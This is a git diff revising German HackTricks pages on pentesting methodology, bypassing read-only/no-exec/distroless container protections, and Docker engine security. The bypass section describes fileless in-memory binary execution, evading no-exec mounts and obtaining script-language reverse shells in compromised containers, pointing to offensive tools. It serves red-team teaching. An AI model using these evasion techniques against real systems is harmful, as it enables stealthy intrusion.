#### **10.2- Domänenberechtigungserweiterung**
|
||||
|
||||
Hier finden Sie eine [**Methodik, die die häufigsten Aktionen zur Auflistung, Eskalation von Berechtigungen und Persistenz in einem Active Directory erklärt**](../windows-hardening/active-directory-methodology/). Auch wenn dies nur ein Unterabschnitt eines Abschnitts ist, könnte dieser Prozess auf einer Pentesting/Red-Team-Mission **äußerst delikat** sein.
|
||||
Hier finden Sie eine [**Methodik, die die häufigsten Aktionen zur Auflistung, Berechtigungserweiterung und Persistenz in einem Active Directory erklärt**](../windows-hardening/active-directory-methodology/). Auch wenn dies nur ein Unterabschnitt eines Abschnitts ist, könnte dieser Prozess auf einer Pentesting/Red-Team-Mission **äußerst delikat** sein.
|
||||
|
||||
### 11 - POST
|
||||
|
||||
|
@ -129,7 +129,7 @@ TODO: Vervollständigen Sie die Persistenz-Post in Windows & Linux
|
|||
Mit den **gesammelten Anmeldeinformationen** könnten Sie Zugriff auf andere Maschinen haben, oder vielleicht müssen Sie **neue Hosts entdecken und scannen** (beginnen Sie die Pentesting-Methodik erneut) in neuen Netzwerken, in denen Ihr Opfer verbunden ist.\
|
||||
In diesem Fall könnte Tunneling erforderlich sein. Hier finden Sie [**einen Beitrag über Tunneling**](tunneling-and-port-forwarding.md).\
|
||||
Sie sollten auf jeden Fall auch den Beitrag zur [Active Directory Pentesting-Methodik](../windows-hardening/active-directory-methodology/) überprüfen. Dort finden Sie coole Tricks, um seitlich zu bewegen, Berechtigungen zu eskalieren und Anmeldeinformationen abzurufen.\
|
||||
Überprüfen Sie auch die Seite über [**NTLM**](../windows-hardening/ntlm/), es könnte sehr nützlich sein, um in Windows-Umgebungen zu pivotieren..
|
||||
Überprüfen Sie auch die Seite über [**NTLM**](../windows-hardening/ntlm/), es könnte sehr nützlich sein, um in Windows-Umgebungen zu pivotieren.
|
||||
|
||||
### MEHR
|
||||
|
||||
|
@ -139,7 +139,7 @@ Sie sollten auf jeden Fall auch den Beitrag zur [Active Directory Pentesting-Met
|
|||
|
||||
* [**Grundlegendes Linux-Ausnutzen**](../exploiting/linux-exploiting-basic-esp/)
|
||||
* [**Grundlegendes Windows-Ausnutzen**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Grundlegende Ausnutzungstools**](../exploiting/tools/)
|
||||
* [**Grundlegende Ausnutzungswerkzeuge**](../exploiting/tools/)
|
||||
|
||||
#### [**Grundlegendes Python**](python/)
|
||||
|
||||
|
@ -149,7 +149,7 @@ Sie sollten auf jeden Fall auch den Beitrag zur [Active Directory Pentesting-Met
|
|||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -157,7 +157,7 @@ Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie das AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
|
@ -165,6 +165,6 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Umgehung von FS-Schutzmaßnahmen: Nur-Lesen / Kein-Exec / Distroless
|
||||
# Umgehen von FS-Schutzmaßnahmen: Nur-Lesen / Keine-Ausführung / Distroless
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +14,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -27,9 +27,9 @@ In den folgenden Videos finden Sie die auf dieser Seite erwähnten Techniken aus
|
|||
* [**DEF CON 31 - Erkundung der Linux-Speicher-Manipulation für Stealth und Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Stealth-Eindringungen mit DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## Nur-Lesen / Kein-Exec-Szenario
|
||||
## Nur-Lesen / Keine-Ausführung-Szenario
|
||||
|
||||
Es wird immer häufiger, Linux-Maschinen mit **Schutzmaßnahmen für das Nur-Lesen (ro) Dateisystem** zu finden, insbesondere in Containern. Dies liegt daran, dass das Ausführen eines Containers mit einem ro-Dateisystem so einfach ist wie das Festlegen von **`readOnlyRootFilesystem: true`** im `securitycontext`:
|
||||
Es wird immer häufiger, dass Linux-Maschinen mit **Schutzmaßnahmen für eine nur-Lese (ro) Dateisystem** montiert sind, insbesondere in Containern. Dies liegt daran, dass das Ausführen eines Containers mit einem ro-Dateisystem so einfach ist wie das Festlegen von **`readOnlyRootFilesystem: true`** im `securitycontext`:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -44,13 +44,13 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Auch wenn das Dateisystem als ro eingebunden ist, wird **`/dev/shm`** weiterhin beschreibbar sein, sodass wir nichts auf die Festplatte schreiben können. Dieser Ordner wird jedoch mit **no-exec-Schutz** eingebunden, sodass Sie, wenn Sie hier eine Binärdatei herunterladen, diese **nicht ausführen können**.
|
||||
Auch wenn das Dateisystem als ro eingebunden ist, wird **`/dev/shm`** dennoch beschreibbar sein, sodass wir nichts auf die Festplatte schreiben können. Dieser Ordner wird jedoch mit **Keine-Ausführung-Schutzmaßnahmen eingebunden**, sodass Sie, wenn Sie hier eine Binärdatei herunterladen, diese **nicht ausführen können**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Aus der Sicht eines Red Teams wird es dadurch **kompliziert, Binärdateien herunterzuladen und auszuführen**, die nicht bereits im System vorhanden sind (wie Backdoors oder Enumeratoren wie `kubectl`).
|
||||
{% endhint %}
|
||||
|
||||
## Einfachste Umgehung: Skripte
|
||||
## Einfachster Umgehungsweg: Skripte
|
||||
|
||||
Beachten Sie, dass ich von Binärdateien gesprochen habe, Sie können **jedes Skript ausführen**, solange der Interpreter innerhalb der Maschine vorhanden ist, wie ein **Shell-Skript**, wenn `sh` vorhanden ist, oder ein **Python-Skript**, wenn `python` installiert ist.
|
||||
|
||||
|
@ -58,18 +58,18 @@ Dies reicht jedoch nicht aus, um Ihre Binärdatei-Backdoor oder andere Binärwer
|
|||
|
||||
## Speicherumgehungen
|
||||
|
||||
Wenn Sie eine Binärdatei ausführen möchten, das Dateisystem dies jedoch nicht zulässt, ist der beste Weg, dies zu tun, indem Sie es aus dem Speicher ausführen, da die **Schutzmaßnahmen dort nicht gelten**.
|
||||
Wenn Sie eine Binärdatei ausführen möchten, das Dateisystem dies jedoch nicht zulässt, ist der beste Weg, dies zu tun, indem Sie es aus dem Speicher heraus **ausführen**, da die **Schutzmaßnahmen dort nicht gelten**.
|
||||
|
||||
### FD + exec-Systemaufruf-Umgehung
|
||||
|
||||
Wenn Sie leistungsstarke Skript-Engines innerhalb der Maschine haben, wie **Python**, **Perl** oder **Ruby**, könnten Sie die Binärdatei zum Ausführen aus dem Speicher herunterladen, in einem Speicherdateideskript speichern (`create_memfd`-Systemaufruf), das nicht durch diese Schutzmaßnahmen geschützt wird, und dann einen **`exec`-Systemaufruf** aufrufen, wobei der **fd als auszuführende Datei** angegeben wird.
|
||||
Wenn Sie leistungsstarke Skript-Engines innerhalb der Maschine haben, wie **Python**, **Perl** oder **Ruby**, könnten Sie die Binärdatei zum Ausführen aus dem Speicher herunterladen, sie in einem Speicherdateideskript speichern (`create_memfd`-Systemaufruf), das nicht durch diese Schutzmaßnahmen geschützt wird, und dann einen **`exec`-Systemaufruf** aufrufen, wobei der **fd als auszuführende Datei** angegeben wird.
|
||||
|
||||
Hierfür können Sie das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache mit der **Binärdatei komprimiert und b64-codiert** generieren, mit den Anweisungen zum **Dekodieren und Dekomprimieren** in einem durch `create_memfd`-Systemaufruf erstellten **fd** und einem Aufruf des **exec**-Systemaufrufs zum Ausführen.
|
||||
Hierfür können Sie das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache mit der **Binärdatei komprimiert und b64-codiert** generieren, zusammen mit den Anweisungen zum **Dekodieren und Dekomprimieren** in einem durch `create_memfd`-Systemaufruf erstellten **fd** und einem Aufruf des **exec**-Systemaufrufs zum Ausführen.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dies funktioniert nicht in anderen Skriptsprachen wie PHP oder Node, da sie keine **Standardmethode zum Aufrufen von Rohsystemaufrufen** aus einem Skript haben. Daher ist es nicht möglich, `create_memfd` aufzurufen, um den **Speicher-FD** zum Speichern der Binärdatei zu erstellen.
|
||||
|
||||
Darüber hinaus wird das Erstellen eines **regulären FDs** mit einer Datei in `/dev/shm` nicht funktionieren, da Sie nicht berechtigt sind, sie auszuführen, da der **no-exec-Schutz** angewendet wird.
|
||||
Darüber hinaus wird das Erstellen eines **regulären FD** mit einer Datei in `/dev/shm` nicht funktionieren, da Sie es nicht ausführen dürfen, da der **Keine-Ausführung-Schutz** angewendet wird.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
@ -105,13 +105,13 @@ Das Ziel von Distroless-Containern ist es, die Angriffsfläche von Containern zu
|
|||
|
||||
### Reverse-Shell
|
||||
|
||||
In einem Distroless-Container finden Sie möglicherweise **nicht einmal `sh` oder `bash`**, um eine reguläre Shell zu erhalten. Sie finden auch keine Binärdateien wie `ls`, `whoami`, `id`... alles, was Sie normalerweise in einem System ausführen.
|
||||
In einem Distroless-Container finden Sie möglicherweise **nicht einmal `sh` oder `bash`**, um eine reguläre Shell zu erhalten. Sie werden auch keine Binärdateien wie `ls`, `whoami`, `id` finden... alles, was Sie normalerweise in einem System ausführen.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Daher werden Sie **keine** **Reverse-Shell** erhalten oder das System **wie gewohnt durchsuchen können**.
|
||||
{% endhint %}
|
||||
|
||||
Wenn jedoch der kompromittierte Container beispielsweise ein Flask-Web ausführt, dann ist Python installiert, und daher können Sie eine **Python-Reverse-Shell** erhalten. Wenn Node ausgeführt wird, können Sie eine Node-Rev-Shell erhalten, und dasselbe gilt für fast jede **Skriptsprache**.
|
||||
Wenn jedoch der kompromittierte Container beispielsweise ein Flask-Web ausführt, ist Python installiert, und daher können Sie eine **Python-Reverse-Shell** erhalten. Wenn Node ausgeführt wird, können Sie eine Node-Rev-Shell erhalten, und dasselbe gilt für fast jede **Skriptsprache**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Mit der Skriptsprache könnten Sie das System **durch die Fähigkeiten der Sprache durchsuchen**.
|
||||
|
@ -120,7 +120,7 @@ Mit der Skriptsprache könnten Sie das System **durch die Fähigkeiten der Sprac
|
|||
Wenn es **keine `read-only/no-exec`**-Schutzmaßnahmen gibt, könnten Sie Ihre Reverse-Shell missbrauchen, um **Ihre Binärdateien im Dateisystem zu schreiben** und sie **auszuführen**.
|
||||
|
||||
{% hint style="success" %}
|
||||
In diesen Containern werden diese Schutzmaßnahmen jedoch normalerweise vorhanden sein, aber Sie könnten die **vorherigen Speicher-Ausführungstechniken verwenden, um sie zu umgehen**.
|
||||
In diesen Containern werden jedoch normalerweise diese Schutzmaßnahmen existieren, aber Sie könnten die **vorherigen Speicher-Ausführungstechniken verwenden, um sie zu umgehen**.
|
||||
{% endhint %}
|
||||
|
||||
Sie finden **Beispiele**, wie Sie **einige RCE-Schwachstellen ausnutzen** können, um Skriptsprachen **Reverse-Shells** zu erhalten und Binärdateien aus dem Speicher auszuführen, unter [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
|
|
@ -2,64 +2,65 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
|
||||
Erhalten Sie noch heute Zugriff:
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
|
||||
Heute Zugriff erhalten:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## **Grundlegende Sicherheit des Docker-Engines**
|
||||
## **Grundlegende Docker-Engine-Sicherheit**
|
||||
|
||||
Der **Docker-Engine** verwendet die **Namespaces** und **Cgroups** des Linux-Kernels, um Container zu isolieren und eine grundlegende Sicherheitsschicht zu bieten. Zusätzlicher Schutz wird durch **Capabilities-Dropping**, **Seccomp** und **SELinux/AppArmor** geboten, um die Container-Isolierung zu verbessern. Ein **Authentifizierungs-Plugin** kann die Benutzeraktionen weiter einschränken.
|
||||
Die **Docker-Engine** verwendet die **Namespaces** und **Cgroups** des Linux-Kernels, um Container zu isolieren und bietet eine grundlegende Sicherheitsebene. Zusätzlicher Schutz wird durch das **Abwerfen von Fähigkeiten**, **Seccomp** und **SELinux/AppArmor** geboten, um die Containerisolierung zu verbessern. Ein **Authentifizierungsplugin** kann Benutzeraktionen weiter einschränken.
|
||||
|
||||
![Docker-Sicherheit](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
|
||||
|
||||
### Sicheren Zugriff auf die Docker-Engine
|
||||
|
||||
Die Docker-Engine kann entweder lokal über einen Unix-Socket oder remote über HTTP erreicht werden. Für den Remote-Zugriff ist es wichtig, HTTPS und **TLS** zu verwenden, um Vertraulichkeit, Integrität und Authentifizierung sicherzustellen.
|
||||
Die Docker-Engine kann entweder lokal über einen Unix-Socket oder remote über HTTP zugegriffen werden. Für den Remotezugriff ist es wichtig, HTTPS und **TLS** zu verwenden, um Vertraulichkeit, Integrität und Authentifizierung sicherzustellen.
|
||||
|
||||
Die Docker-Engine lauscht standardmäßig auf dem Unix-Socket unter `unix:///var/run/docker.sock`. Auf Ubuntu-Systemen werden die Startoptionen von Docker in `/etc/default/docker` definiert. Um den Remote-Zugriff auf die Docker-API und den Client zu ermöglichen, aktivieren Sie den Docker-Daemon über einen HTTP-Socket, indem Sie die folgenden Einstellungen hinzufügen:
|
||||
Die Docker-Engine hört standardmäßig auf den Unix-Socket unter `unix:///var/run/docker.sock`. Auf Ubuntu-Systemen sind die Startoptionen von Docker in `/etc/default/docker` definiert. Um den Remotezugriff auf die Docker-API und den Client zu ermöglichen, aktivieren Sie den Docker-Daemon über einen HTTP-Socket, indem Sie die folgenden Einstellungen hinzufügen:
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
||||
sudo service docker restart
|
||||
```
|
||||
Jedoch wird das Freigeben des Docker-Daemons über HTTP aufgrund von Sicherheitsbedenken nicht empfohlen. Es ist ratsam, Verbindungen mit HTTPS abzusichern. Es gibt zwei Hauptansätze zur Absicherung der Verbindung:
|
||||
1. Der Client überprüft die Identität des Servers.
|
||||
2. Sowohl der Client als auch der Server authentifizieren gegenseitig ihre Identität.
|
||||
Jedoch wird das Freigeben des Docker-Daemons über HTTP aufgrund von Sicherheitsbedenken nicht empfohlen. Es wird empfohlen, Verbindungen mit HTTPS zu sichern. Es gibt zwei Hauptansätze zur Sicherung der Verbindung:
|
||||
|
||||
Zur Bestätigung der Identität eines Servers werden Zertifikate verwendet. Detaillierte Beispiele für beide Methoden finden Sie in [**dieser Anleitung**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
|
||||
1. Der Client überprüft die Identität des Servers.
|
||||
2. Sowohl der Client als auch der Server authentifizieren gegenseitig die Identität des anderen.
|
||||
|
||||
Zur Bestätigung der Identität eines Servers werden Zertifikate verwendet. Für detaillierte Beispiele beider Methoden siehe [**diesen Leitfaden**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
|
||||
|
||||
### Sicherheit von Container-Images
|
||||
|
||||
Container-Images können entweder in privaten oder öffentlichen Repositories gespeichert werden. Docker bietet mehrere Speicheroptionen für Container-Images an:
|
||||
Container-Images können in privaten oder öffentlichen Repositories gespeichert werden. Docker bietet mehrere Speicheroptionen für Container-Images:
|
||||
|
||||
* **[Docker Hub](https://hub.docker.com)**: Ein öffentlicher Registrierungsdienst von Docker.
|
||||
* **[Docker Registry](https://github.com/docker/distribution)**: Ein Open-Source-Projekt, das Benutzern ermöglicht, ihr eigenes Repository zu hosten.
|
||||
* **[Docker Trusted Registry](https://www.docker.com/docker-trusted-registry)**: Das kommerzielle Registrierungsangebot von Docker mit rollenbasierter Benutzerauthentifizierung und Integration mit LDAP-Verzeichnisdiensten.
|
||||
* [**Docker Hub**](https://hub.docker.com): Ein öffentlicher Registrierungsdienst von Docker.
|
||||
* [**Docker Registry**](https://github.com/docker/distribution): Ein Open-Source-Projekt, das es Benutzern ermöglicht, ihr eigenes Register zu hosten.
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Das kommerzielle Registrierungsangebot von Docker mit benutzerbasierter Authentifizierung und Integration mit LDAP-Verzeichnisdiensten.
|
||||
|
||||
### Image-Scanning
|
||||
### Bildscannen
|
||||
|
||||
Container können **Sicherheitslücken** aufweisen, entweder aufgrund des Basisimages oder aufgrund der installierten Software auf dem Basisimage. Docker arbeitet an einem Projekt namens **Nautilus**, das Sicherheitsscans von Containern durchführt und die Sicherheitslücken auflistet. Nautilus vergleicht jedes Container-Image-Layer mit einem Repository für Sicherheitslücken, um Sicherheitslücken zu identifizieren.
|
||||
Container können **Sicherheitslücken** aufweisen, entweder aufgrund des Basisimages oder der darauf installierten Software. Docker arbeitet an einem Projekt namens **Nautilus**, das Sicherheitsscans von Containern durchführt und die Sicherheitslücken auflistet. Nautilus funktioniert, indem es jedes Container-Image-Layer mit dem Sicherheitslücken-Repository vergleicht, um Sicherheitslücken zu identifizieren.
|
||||
|
||||
Für weitere [**Informationen lesen Sie dies**](https://docs.docker.com/engine/scan/).
|
||||
|
||||
* **`docker scan`**
|
||||
|
||||
Der Befehl **`docker scan`** ermöglicht es Ihnen, vorhandene Docker-Images mithilfe des Image-Namens oder der ID zu scannen. Führen Sie beispielsweise den folgenden Befehl aus, um das hello-world-Image zu scannen:
|
||||
Der Befehl **`docker scan`** ermöglicht es Ihnen, vorhandene Docker-Images mithilfe des Bildnamens oder der ID zu scannen. Führen Sie beispielsweise den folgenden Befehl aus, um das Image hello-world zu scannen:
|
||||
```bash
|
||||
docker scan hello-world
|
||||
|
||||
|
@ -91,26 +92,25 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
|||
|
||||
Die Docker-Image-Signierung gewährleistet die Sicherheit und Integrität von in Containern verwendeten Bildern. Hier ist eine zusammengefasste Erklärung:
|
||||
|
||||
- **Docker Content Trust** verwendet das Notary-Projekt, das auf dem The Update Framework (TUF) basiert, um die Bildsignierung zu verwalten. Weitere Informationen finden Sie unter [Notary](https://github.com/docker/notary) und [TUF](https://theupdateframework.github.io).
|
||||
- Um Docker Content Trust zu aktivieren, setzen Sie `export DOCKER_CONTENT_TRUST=1`. Diese Funktion ist standardmäßig in Docker Version 1.10 und höher deaktiviert.
|
||||
- Mit dieser Funktion können nur signierte Bilder heruntergeladen werden. Beim ersten Push des Bildes müssen Passphrasen für die Root- und Tagging-Schlüssel festgelegt werden. Docker unterstützt auch YubiKey für eine verbesserte Sicherheit. Weitere Details finden Sie [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Wenn versucht wird, ein nicht signiertes Bild mit aktiviertem Content Trust herunterzuladen, wird ein Fehler "No trust data for latest" angezeigt.
|
||||
- **Docker Content Trust** nutzt das Notary-Projekt, basierend auf The Update Framework (TUF), zur Verwaltung der Bildsignierung. Weitere Informationen finden Sie unter [Notary](https://github.com/docker/notary) und [TUF](https://theupdateframework.github.io).
|
||||
- Um Docker Content Trust zu aktivieren, setzen Sie `export DOCKER_CONTENT_TRUST=1`. Diese Funktion ist in Docker Version 1.10 und später standardmäßig deaktiviert.
|
||||
- Mit dieser Funktion können nur signierte Bilder heruntergeladen werden. Das Initiieren des ersten Bild-Push erfordert das Festlegen von Passphrasen für die Root- und Tagging-Schlüssel, wobei Docker auch Yubikey zur Verbesserung der Sicherheit unterstützt. Weitere Details finden Sie [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Der Versuch, ein nicht signiertes Bild mit aktiviertem Content Trust herunterzuladen, führt zu einem Fehler "No trust data for latest".
|
||||
- Für Bild-Pushes nach dem ersten fordert Docker die Passphrase des Repository-Schlüssels an, um das Bild zu signieren.
|
||||
|
||||
Verwenden Sie den Befehl, um Ihre privaten Schlüssel zu sichern:
|
||||
Um Ihre privaten Schlüssel zu sichern, verwenden Sie den Befehl:
|
||||
```bash
|
||||
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
|
||||
```
|
||||
Beim Wechseln von Docker-Hosts ist es notwendig, die Root- und Repository-Schlüssel zu verschieben, um den Betrieb aufrechtzuerhalten.
|
||||
|
||||
Beim Wechsel von Docker-Hosts ist es notwendig, die Root- und Repository-Schlüssel zu verschieben, um den Betrieb aufrechtzuerhalten.
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
|
||||
Erhalten Sie noch heute Zugriff:
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen** und zu **automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
|
||||
Heute Zugriff erhalten:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -120,22 +120,25 @@ Erhalten Sie noch heute Zugriff:
|
|||
|
||||
<summary>Zusammenfassung der Sicherheitsfunktionen von Containern</summary>
|
||||
|
||||
### Hauptfunktionen zur Isolierung des Hauptprozesses
|
||||
#### Hauptfunktionen zur Prozessisolierung
|
||||
|
||||
In containerisierten Umgebungen ist die Isolierung von Projekten und ihren Prozessen von entscheidender Bedeutung für Sicherheit und Ressourcenmanagement. Hier ist eine vereinfachte Erklärung der wichtigsten Konzepte:
|
||||
In containerisierten Umgebungen ist die Isolierung von Projekten und deren Prozessen entscheidend für Sicherheit und Ressourcenmanagement. Hier ist eine vereinfachte Erklärung der wichtigsten Konzepte:
|
||||
|
||||
#### **Namespaces**
|
||||
- **Zweck**: Gewährleistung der Isolierung von Ressourcen wie Prozessen, Netzwerk und Dateisystemen. Insbesondere in Docker halten Namespaces die Prozesse eines Containers getrennt vom Host und anderen Containern.
|
||||
